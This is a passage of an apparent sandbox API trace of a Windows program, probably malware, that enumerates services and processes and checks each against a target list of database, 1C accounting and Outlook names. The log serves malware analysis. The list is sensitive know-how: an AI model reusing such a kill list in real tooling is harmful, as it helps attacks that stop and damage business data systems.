(in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0059.910] lstrlenW (lpString="VSSVC.exe") returned 9 [0059.910] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.911] lstrlenW (lpString="svchost.exe") returned 11 [0059.911] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0059.911] CloseHandle (hObject=0x33c) returned 1 [0059.911] Sleep (dwMilliseconds=0x1f4) [0060.894] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3298080 [0060.895] EnumServicesStatusExW (in: hSCManager=0x3298080, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0060.895] GetLastError () returned 0xea [0060.895] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x5400088 [0060.896] EnumServicesStatusExW (in: hSCManager=0x3298080, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5400088, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5400088, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0060.896] CloseServiceHandle (hSCObject=0x3298080) returned 1 [0060.896] lstrlenW (lpString="Appinfo") returned 7 [0060.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.896] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.897] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.897] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.897] lstrlenW (lpString="AudioSrv") returned 8 [0060.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0060.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0060.897] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0060.897] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0060.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0060.897] lstrlenW (lpString="BFE") returned 3 [0060.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.897] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.897] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.897] lstrlenW (lpString="CryptSvc") returned 8 [0060.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.897] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.897] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.897] lstrlenW (lpString="CscService") returned 10 [0060.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0060.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0060.897] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0060.897] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0060.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0060.897] lstrlenW (lpString="DcomLaunch") returned 10 [0060.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.897] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.897] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.897] lstrlenW (lpString="Dhcp") returned 4 [0060.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.898] lstrlenW (lpString="Dnscache") returned 8 [0060.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.898] lstrlenW (lpString="DPS") returned 3 [0060.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.898] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.898] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.898] lstrlenW (lpString="eventlog") returned 8 [0060.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0060.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0060.898] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0060.898] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0060.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0060.898] lstrlenW (lpString="EventSystem") returned 11 [0060.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.898] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.898] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.898] lstrlenW (lpString="gpsvc") returned 5 [0060.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.898] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.898] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.898] lstrlenW (lpString="iphlpsvc") returned 8 [0060.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.899] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.899] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.899] lstrlenW (lpString="LanmanServer") returned 12 [0060.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.899] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.899] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.899] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.899] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.899] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.899] lstrlenW (lpString="lmhosts") returned 7 [0060.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.899] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.899] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.899] lstrlenW (lpString="MMCSS") returned 5 [0060.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0060.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0060.899] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0060.899] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0060.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0060.899] lstrlenW (lpString="MpsSvc") returned 6 [0060.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.899] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.899] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.900] lstrlenW (lpString="Netman") returned 6 [0060.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0060.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0060.900] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0060.900] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0060.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0060.900] lstrlenW (lpString="netprofm") returned 8 [0060.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.900] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.900] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.900] lstrlenW (lpString="NlaSvc") returned 6 [0060.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.900] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.900] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.900] lstrlenW (lpString="nsi") returned 3 [0060.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.900] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.900] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.900] lstrlenW (lpString="PcaSvc") returned 6 [0060.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.900] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.900] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.900] lstrlenW (lpString="PlugPlay") returned 8 [0060.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.901] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.901] lstrlenW (lpString="Power") returned 5 [0060.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.901] lstrlenW (lpString="ProfSvc") returned 7 [0060.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.901] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.901] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.901] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.901] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.901] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.901] lstrlenW (lpString="RpcSs") returned 5 [0060.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.901] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.901] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.901] lstrlenW (lpString="SamSs") returned 5 [0060.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.901] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.901] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.901] lstrlenW (lpString="Schedule") returned 8 [0060.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.902] lstrlenW (lpString="SENS") returned 4 [0060.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.902] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.902] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.902] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.902] lstrlenW (lpString="Spooler") returned 7 [0060.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.902] lstrlenW (lpString="swprv") returned 5 [0060.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0060.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0060.902] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0060.902] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0060.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0060.902] lstrlenW (lpString="SysMain") returned 7 [0060.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.902] lstrlenW (lpString="Themes") returned 6 [0060.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0060.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0060.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0060.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0060.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0060.903] lstrlenW (lpString="TrkWks") returned 6 [0060.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0060.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0060.903] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0060.903] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0060.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0060.903] lstrlenW (lpString="UxSms") returned 5 [0060.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0060.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0060.903] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0060.903] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0060.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0060.903] lstrlenW (lpString="VSS") returned 3 [0060.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0060.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0060.903] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0060.903] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0060.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0060.903] lstrlenW (lpString="WdiServiceHost") returned 14 [0060.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.903] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0060.903] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0060.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0060.903] lstrlenW (lpString="WdiSystemHost") returned 13 [0060.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.903] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0060.903] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0060.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0060.904] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0060.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.904] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0060.904] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0060.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0060.904] lstrlenW (lpString="Winmgmt") returned 7 [0060.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0060.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0060.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0060.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0060.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0060.904] lstrlenW (lpString="WPDBusEnum") returned 10 [0060.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.904] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0060.904] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0060.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0060.904] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5400088 | out: hHeap=0x790000) returned 1 [0060.904] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0060.906] Process32FirstW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.906] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.906] lstrlenW (lpString="System") returned 6 [0060.906] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0060.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0060.907] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0060.907] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0060.907] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0060.907] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0060.907] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0060.907] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.907] lstrlenW (lpString="smss.exe") returned 8 [0060.907] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0060.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0060.907] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0060.907] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0060.907] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0060.907] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0060.907] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0060.907] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.907] lstrlenW (lpString="csrss.exe") returned 9 [0060.907] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.907] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.908] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.908] 